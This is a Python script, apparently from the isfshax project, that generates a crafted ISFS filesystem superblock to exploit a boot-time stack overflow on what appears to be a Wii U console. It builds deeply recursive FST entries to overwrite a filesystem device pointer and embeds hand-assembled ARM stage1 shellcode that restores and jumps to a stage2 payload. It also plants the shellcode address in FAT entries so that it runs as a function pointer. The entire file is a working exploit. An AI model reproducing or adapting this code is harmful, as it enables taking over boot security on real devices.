mirror of
https://github.com/isfshax/isfshax.git
synced 2024-11-26 05:24:17 +01:00
148 lines
5.1 KiB
Python
148 lines
5.1 KiB
Python
|
#!/usr/bin/env python3
|
||
|
import struct
|
||
|
import sys
|
||
|
from Crypto.Hash import SHA1
|
||
|
|
||
|
stage2file = sys.argv[1]
|
||
|
outfile = sys.argv[2]
|
||
|
|
||
|
stage2 = bytearray(open(stage2file, "rb").read())
|
||
|
|
||
|
# create superblock header
|
||
|
header = struct.pack(">III",
|
||
|
0x53465321, # magic
|
||
|
0xfffffffe, # generation
|
||
|
0x00000000 # field_0x8
|
||
|
)
|
||
|
|
||
|
# mark all blocks as bad
|
||
|
fat = [0xFFFD] * 0x8000
|
||
|
|
||
|
# generate FST entries
|
||
|
def fstEntry(name, mode=2, attr=0, sub=0xFFFF, sib=0xFFFF, size=0, x1=0, uid=0, gid=0, x3=0):
|
||
|
return struct.pack(">12sBBHHIHHHI", name.encode('ascii'), mode, attr, sub, sib, size, x1, uid, gid, x3)
|
||
|
|
||
|
# create FST root node
|
||
|
fst = fstEntry(name="/", sub=1)
|
||
|
|
||
|
# create /sys/config/system.xml
|
||
|
fst += fstEntry(name="sys", sub=2, sib=4)
|
||
|
fst += fstEntry(name="config", sub=3)
|
||
|
fst += fstEntry(name="system.xml", mode=0xC1, sub=0x7FFF, size=0x636)
|
||
|
fat[0x7FFF] = 0xFFFB # prevent infinite loop in ISFS stat
|
||
|
|
||
|
# ensure IOS detects this as a *very* broken
|
||
|
# superblock rather than trying to repair it
|
||
|
# by setting one file node sub to >0xFFFB
|
||
|
fst += fstEntry(name="ios.stop", mode=0xC1, sib=5, sub=0xFFFC, size=1)
|
||
|
|
||
|
# create 0x69 recursive entries to overflow the stack up
|
||
|
# to 0x0D40E240 and overwrite FLA's FS device pointer
|
||
|
# with the address of the superblock
|
||
|
for i in range(5+0, 5+0x68):
|
||
|
fst += fstEntry(name="a", sub=(i+1))
|
||
|
fst += fstEntry(name="a")
|
||
|
|
||
|
|
||
|
# clear stage2 fake FST entries mode field at k*0x20 + 0xC,
|
||
|
# otherwise boot1 will clear the first bit of the size field
|
||
|
repairData = bytearray()
|
||
|
|
||
|
offs = 0x0C
|
||
|
while offs < len(stage2):
|
||
|
if (len(repairData) & 0x1F) == 0x0C:
|
||
|
repairData.append(0) # skip FST mode field
|
||
|
repairData.append(stage2[offs])
|
||
|
stage2[offs] = 0
|
||
|
offs += 0x20
|
||
|
|
||
|
|
||
|
# place stage1/repairData/stage2 at the end of the FST
|
||
|
superblockStart = 0x01f80000
|
||
|
superblockEnd = superblockStart + 0x40000
|
||
|
fstOffset = 0x1000c
|
||
|
fstStart = superblockStart + fstOffset
|
||
|
fstAreaSize = 6143 * 0x20
|
||
|
|
||
|
stage2FstOffset = (fstAreaSize - len(stage2)) & ~0x1F
|
||
|
stage2Addr = fstStart + stage2FstOffset
|
||
|
|
||
|
repairDataFstOffset = (stage2FstOffset - len(repairData)) & ~0x1F
|
||
|
repairDataAddr = fstStart + repairDataFstOffset
|
||
|
|
||
|
|
||
|
# stage1 adds back the removed FST mode field bytes to stage2
|
||
|
stage1Code = [
|
||
|
b"\xe2\x8f\x00\x2c", # +00 add r0, pc, #0x2C @ get address of stage1 data
|
||
|
b"\xe8\x90\x00\x07", # +04 ldmia r0, {r0, r1, r2} @ load repairDataAddr, repairDataEnd, stage2Addr
|
||
|
b"\xe2\x82\x50\x0c", # +08 add r5, r2, 0xC @ compute address of first missing byte
|
||
|
b"\x00\x00\x00\x00", # +0C @ skip FST mode field
|
||
|
b"\xe2\x00\x40\x1f", # +10 loop: and r4, r0, #0x1F @ get last 5 bits of repair data ptr
|
||
|
b"\xe4\xd0\x30\x01", # +14 ldrb r3, [r0], #1 @ load byte and increment repair data ptr
|
||
|
b"\xe3\x54\x00\x18", # +18 cmp r4, #0x18 @ ignore repair data when ptr ends with 0x18 (-> fst+0xC)
|
||
|
b"\x14\xc5\x30\x20", # +1C strbne r3, [r5], #0x20 @ otherwise write repair data to missing byte
|
||
|
b"\xe1\x50\x00\x01", # +20 cmp r0, r1 @ check if repair data finished
|
||
|
b"\x12\x4f\xf0\x1c", # +24 bne loop (subne pc, pc, #0x1C) @ otherwise loop
|
||
|
b"\xe1\x2f\xff\x12", # +28 bx r2 @ jump to stage2
|
||
|
b"\x00\x00\x00\x00", # +2C skip FST mode field
|
||
|
b"\x00\x00\x00\x00", # +30
|
||
|
]
|
||
|
stage1 = b"".join(stage1Code)
|
||
|
stage1 += struct.pack(">III", repairDataAddr, repairDataAddr + len(repairData), stage2Addr)
|
||
|
|
||
|
stage1FstOffset = (repairDataFstOffset - len(stage1)) & ~0x1F
|
||
|
stage1Addr = fstStart + stage1FstOffset
|
||
|
|
||
|
|
||
|
# append stage1/repairData/stage2 to the FST
|
||
|
if stage1FstOffset < len(fst):
|
||
|
print("ERROR: insufficient superblock space for stage1")
|
||
|
sys.exit(1)
|
||
|
print('(offs %#05x) %#08x -> stage1' % (fstOffset + stage1FstOffset, stage1Addr))
|
||
|
|
||
|
if repairDataFstOffset < len(fst):
|
||
|
print("ERROR: insufficient superblock space for repair data")
|
||
|
sys.exit(1)
|
||
|
print('(offs %#05x) %#08x -> repair data' % (fstOffset + repairDataFstOffset, repairDataAddr))
|
||
|
|
||
|
if stage2FstOffset < len(fst):
|
||
|
print("ERROR: insufficient superblock space for stage2")
|
||
|
sys.exit(1)
|
||
|
print('(offs %#05x) %#08x -> stage2' % (fstOffset + stage2FstOffset, stage2Addr))
|
||
|
|
||
|
fst += b"\x00" * (stage1FstOffset - len(fst))
|
||
|
fst += stage1
|
||
|
fst += b"\x00" * (repairDataFstOffset - len(fst))
|
||
|
fst += repairData
|
||
|
fst += b"\x00" * (stage2FstOffset - len(fst))
|
||
|
fst += stage2
|
||
|
fst += b"\x00" * (fstAreaSize - len(fst))
|
||
|
|
||
|
|
||
|
# write stage1 entrypoint to the first two FAT entries; after
|
||
|
# the stack overflow overwrites FLA's FS device pointer with
|
||
|
# the address of the superblock, they will be interpreted as
|
||
|
# as the structure's read() function pointer
|
||
|
fat[0] = stage1Addr >> 16
|
||
|
fat[1] = stage1Addr & 0xffff
|
||
|
|
||
|
|
||
|
# create superblock
|
||
|
superblock = header
|
||
|
superblock += struct.pack(">32768H", *fat)
|
||
|
superblock += fst
|
||
|
superblock += b"\x00" * 0x14
|
||
|
|
||
|
# write crafted superblock
|
||
|
f = open(outfile, "wb")
|
||
|
f.write(superblock)
|
||
|
f.close()
|
||
|
|
||
|
# write crafted superblock hash
|
||
|
h = SHA1.new(superblock)
|
||
|
f = open(outfile + ".sha", "wb")
|
||
|
f.write(h.digest())
|
||
|
f.close()
|
||
|
|
||
|
print("isfshax: written superblock to " + outfile)
|